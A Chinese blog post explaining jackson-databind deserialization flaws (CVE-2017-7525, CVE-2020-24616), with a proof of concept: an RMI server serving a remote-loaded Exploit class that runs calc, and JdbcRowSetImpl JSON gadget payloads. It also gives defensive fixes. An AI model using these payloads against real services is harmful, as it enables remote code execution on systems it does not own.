前言
最近公司內部提供了一份應用高危漏洞的清單,其中提到了fastjson和jackson,因爲之前對fastjson因爲多態問題引發的反序列化問題有過了解,所以打算也做一個簡單的分析。
漏洞簡述
2020年08月27日,360CERT監測發現 jackson-databind 發佈了 jackson-databind 序列化漏洞 的風險通告,該漏洞編號爲 CVE-2020-24616 ,漏洞等級:高危,漏洞評分:7.5。
br.com.anteros:Anteros-DBCP 中存在新的反序列化利用鏈,可以繞過 jackson-databind 黑名單限制,遠程攻擊者通過向使用該組件的web服務接口發送特製請求包,可以造成 遠程代碼執行 影響。
受影響的版本:fasterxml:jackson-databind
: <2.9.10.6,該版本還修復了下述利用鏈:
- org.arrahtec:profiler-core
- com.nqadmin.rowset:jdbcrowsetimpl
- com.pastdev.httpcomponents:configuration
上述 package 中存在新的反序列化利用鏈,可以繞過 jackson-databind
黑名單限制,遠程攻擊者通過向使用該組件的web服務接口發送特製請求包,可以造成 遠程代碼執行
影響。
漏洞分析
其實此漏洞和前幾年jackson爆出來的另外一個漏洞(CVE-2017-7525)是一脈相承的,都是利用反序列化遠程執行代碼;至於爲什麼會出現這個問題,其實歸根結底和多態有關,下面做一個簡單的分析;
序列化中的多態問題
我們平時見得最多的json格式可能像下面這樣:
{"fruit":{"name":"apple"},"mode":"online"}
裏面是沒有任何類信息的,拿到json字符串直接通過相關方法轉化爲對象:
public <T> T readValue(String content, Class<T> valueType)
像以上這種情況基本上是不會有什麼問題的,但是很多業務中有多態的需求,比如像下面這樣:
//水果接口類
public interface Fruit {
}
//通過指定的方式購買水果
public class Buy {
private String mode;
private Fruit fruit;
}
//具體的水果類--蘋果
public class Apple implements Fruit {
private String name;
}
//具體的水果類--香蕉
public class Banana implements Fruit {
private String name;
}
可以發現這裏的Buy對象裏面存放的是Fruit,並不是具體的某種水果,如果這時候你去序列化:
Banana banana = new Banana();
banana.setName("banana");
Buy buy = new Buy("online", banana);
ObjectMapper mapper = new ObjectMapper();
// 序列化
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString : " + jsonString);
// 反序列化
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);
序列化是可以成功的,結果如下所示:
{"mode":"online","fruit":{"name":"banana"}}
但是在反序列化的時候,程序中完全沒法知道fruit到底是蘋果還是香蕉,所以會直接報錯:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information
面對這種問題,jackson提供了相關的技術支持,主要有以下這麼兩種:
- 全局DefaultTyping機制
- 爲Class添加@JsonTypeInfo
多態問題支持
全局DefaultTyping機制相對來說比較簡單,一個配置就解決了;而@JsonTypeInfo註解模式相對來說比較麻煩;
全局DefaultTyping機制
只需要對ObjectMapper開啓此配置即可:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
這樣再去執行剛剛的序列化方法,結果會是如下這樣:
{"@class":"com.jackson.Buy","mode":"online","fruit":{"@class":"com.jackson.impl.Banana","name":"banana"}}
可以發現在json裏面包含了類信息,這樣在反序列化的時候,就能識別具體的類,這樣就能反序列化成功;
JsonTypeInfo註解模式
此種模式需要針對每種類型做專門的處理,相對來說比較麻煩,我們需要在Fruit接口中做處理:
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
@JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {
}
可以發現如果發現是子類Apple,就用字符a代替;如果發現是子類Banana,就用字符b代替;序列化的結果如下:
{"mode":"online","fruit":{"type":"b","name":"banana"}}
這種模式通過在json字符串中添加了具體類的type,這樣在反序列化的時候也同樣可以成功;
漏洞重現
以上介紹了兩種jackson在解決多態問題的方案,那問題出在哪裏;其實問題的根源就出在全局DefaultTyping機制中對生成的json字符串中包含了類信息,這樣對攻擊者來說就相當於留了一個後門,可以通過在json字符串中傳入一些特殊的類,對服務器引發災難性後果;上面也提到此問題其實在(CVE-2017-7525)漏洞中已經出現,這裏可以做一個簡單模擬;
CVE-2017-7525重現
當時要求的版本是不低於2.8.9,這裏直接使用此版本來模擬;
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
version>2.8.10</version>
</dependency>
一個常見的攻擊類是:com.sun.rowset.JdbcRowSetImpl,此類的dataSourceName支持傳入一個rmi的源,然後可以設置autocommit自動連接,執行rmi中的方法; 這裏首選需要準備一個RMI類:
public class RMIServer {
public static void main(String argv[]) {
Registry registry = LocateRegistry.createRegistry(1098);
Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
registry.bind("Exploit", new ReferenceWrapper(reference));
}
}
這裏的Reference指定了類名,以及遠程地址,可以從遠程服務器上加載class文件來實例化;準備好Exploit類,編譯成class文件,然後把他放在本地的http服務器中即可;
public class Exploit {
public Exploit() {
Runtime.getRuntime().exec("calc");
}
}
這裏我們做了一個簡單的模擬,讓服務器在本地調用計算器;
有了以上這些,下面要準備攻擊的json字符串,如下所示:
{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}
反序列化相關代碼如下:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);
在反序列化的時候,先執行setDataSourceName方法,然後setAutoCommit的時候會自動連接設置的dataSourceName屬性,最終獲取到Exploit類執行其中的相關操作,以上的程序會在本地調起計算器;
如果做升級處理,升級到2.8.10版本,同樣執行以上的代碼,結果如下:
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition for type Lcom/sun/rowset/JdbcRowSetImpl;: Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
可以發現JdbcRowSetImpl已經進入了jackson的黑名單中;但是黑名單往往是不全的,後續可能經常爆出漏洞,比如這次的漏洞;
CVE-2020-24616重現
這樣同樣使用漏洞前的版本,我們使用2.9.10.5版本,存在漏洞的com.nqadmin.rowset.jdbcrowsetimpl,引入如下:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.5</version>
</dependency>
<dependency>
<groupId>com.nqadmin.rowset</groupId>
<artifactId>jdbcrowsetimpl</artifactId>
<version>1.0.2</version>
</dependency>
再次提供攻擊json字符串:
{"@class":"com.nqadmin.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}
執行上面同樣的代碼,使用如上json字符串,同樣能夠調起本地計算器;下面要做的就是升級版本:>2.9.10.6;再次執行結果如下:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons
可以發現com.nqadmin.rowset.JdbcRowSetImpl
已經進入黑名單;
漏洞總結
可以發現類似的漏洞在很多json序列化工具中都有,黑名單的方案其實也是比較臨時性的,想要徹底解決這個問題其實是很難的,因爲你不知道以後還會出現什麼jar包有遠程執行的功能,所以下面對jackson序列化工具做一點使用上的總結;
不要使用DefaultTyping
可以發現問題的根源在於DefaultTyping方式導致在json字符串中出現了類信息,其實上面也介紹了完全可以通過JsonTypeInfo方式代替;只不過相對來說麻煩點,但是對於安全性來說這點不算什麼;
可以發現新版jackson中已經不建議使用DefaultTyping了,此方法已經被標識爲@Deprecated
@Deprecated
public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {
}
反序列化指定具體類
其實我們可以發現這些黑名單中的類,我們平時很少使用,我們大部分情況都使用的是一些業務類,這樣我們在反序列化的時候儘量使用具體類,不要使用Object,如上面的代碼:
objectMapper.readValue(json, Object.class);
如果我們這裏填的是具體的業務類,如果真的接收到一個攻擊json字符串,其實程序首先也會對json中的類信息是否和指定的類信息是否一致,如果不一致,直接不會執行:
objectMapper.readValue(json, Banana.class);
上面再反序列化的時候,直接報錯:
Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana]: missing type id property 'type'
感謝關注
可以關注微信公衆號「回滾吧代碼」,第一時間閱讀,文章持續更新;專注Java源碼、架構、算法和麪試。